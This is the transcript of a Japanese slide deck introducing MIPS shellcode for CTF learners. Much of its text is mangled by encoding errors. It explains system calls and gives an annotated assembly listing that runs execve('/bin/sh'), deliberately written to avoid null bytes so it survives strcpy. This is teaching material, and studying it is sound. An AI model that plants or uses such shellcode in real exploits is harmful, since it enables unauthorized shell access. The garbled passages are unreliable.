Upgrade to Pro — share decks privately, control downloads, hide ads and more …

mipsシェルコード入門

Sponsored · Ship Features Fearlessly Turn features on and off without deploys. Used by thousands of Ruby developers.

 mipsシェルコード入門

2017年8月11日 CpawLT

Avatar for Chihiro Hasegawa

Chihiro Hasegawa

August 11, 2017
Tweet

More Decks by Chihiro Hasegawa

Other Decks in Technology

Transcript

  1. γΣϧίʔυ • ޿ٛͷҙຯͰ͸ɺ߈ܸ༻ͷίʔυͷஅย • $5'Ͱ͸ FYFDWF lCJOTIz /6-- /6-- 

    Λ͢ΔίʔυΛΛࢦ͢ࣄ͕ଟ͍ • ΞηϯϒϦݴޠͰ͸ɺγεςϜίʔϧΛ ݺͿඞཁ͕͋Δ 
  2. γεςϜίʔϧ • Χʔωϧ͕࣋ͭػೳΛݺͼग़͢ࡍʹར༻ • WϨδελʹγεςϜίʔϧ൪߸ • ྫ ͸PQFO ϑΝΠϧΛ։͘ •

    BϨδελʹୈҰҾ਺ɾɾɾ • ্هΛઃఆޙɺTZTDBMM໋ྩΛݺͿ  https://w3challs.com/syscalls/?arch=mips_o32
  3. NJQTͷγΣϧίʔυ<> ΞυϨε ΞηϯϒϦ ίϝϯτ 0x1000 slti $a2, $zero, -1 $a2

    <- 0 0x1004 bltzal $a2, 0x1004 $ra <- 次の命令のアドレス(0x100c) 0x1008 slti $a1, $zero, -1 $a1 <- 0 0x100c addu $a0, $ra, 4097 $a0 <- $ra + 4097 0x1010 addu $a0, $a0, -4081 $a0 <- $a0 – 4081 ($a0 = $ra + 16) 0x1014 li $v0, 4011 $v0 = 4011 (execveの番号) 0x1018 syscall 0x40404 システムコールを呼ぶ 0x101c .string "/bin/sh"  [3] https://www.exploit-db.com/exploits/35868/
  4. NJQTͷγΣϧίʔυ<> ΞυϨε ΞηϯϒϦ ίϝϯτ 0x1000 slti $a2, $zero, -1 $a2

    <- 0 0x1004 bltzal $a2, 0x1004 $ra <- 次の命令のアドレス(0x100c) 0x1008 slti $a1, $zero, -1 $a1 <- 0 0x100c addu $a0, $ra, 4097 $a0 <- $ra + 4097 0x1010 addu $a0, $a0, -4081 $a0 <- $a0 – 4081 ($a0 = $ra + 16) 0x1014 li $v0, 4011 $v0 = 4011 (execveの番号) 0x1018 syscall 0x40404 システムコールを呼ぶ 0x101c .string "/bin/sh"  [3] https://www.exploit-db.com/exploits/35868/ ※機械語に変換した時に”\x00”が⼊らないようなプログラムを意図的に作っている → str(n)cpyなどの関数を使っている場合、”\x00”があるとそこで途切れる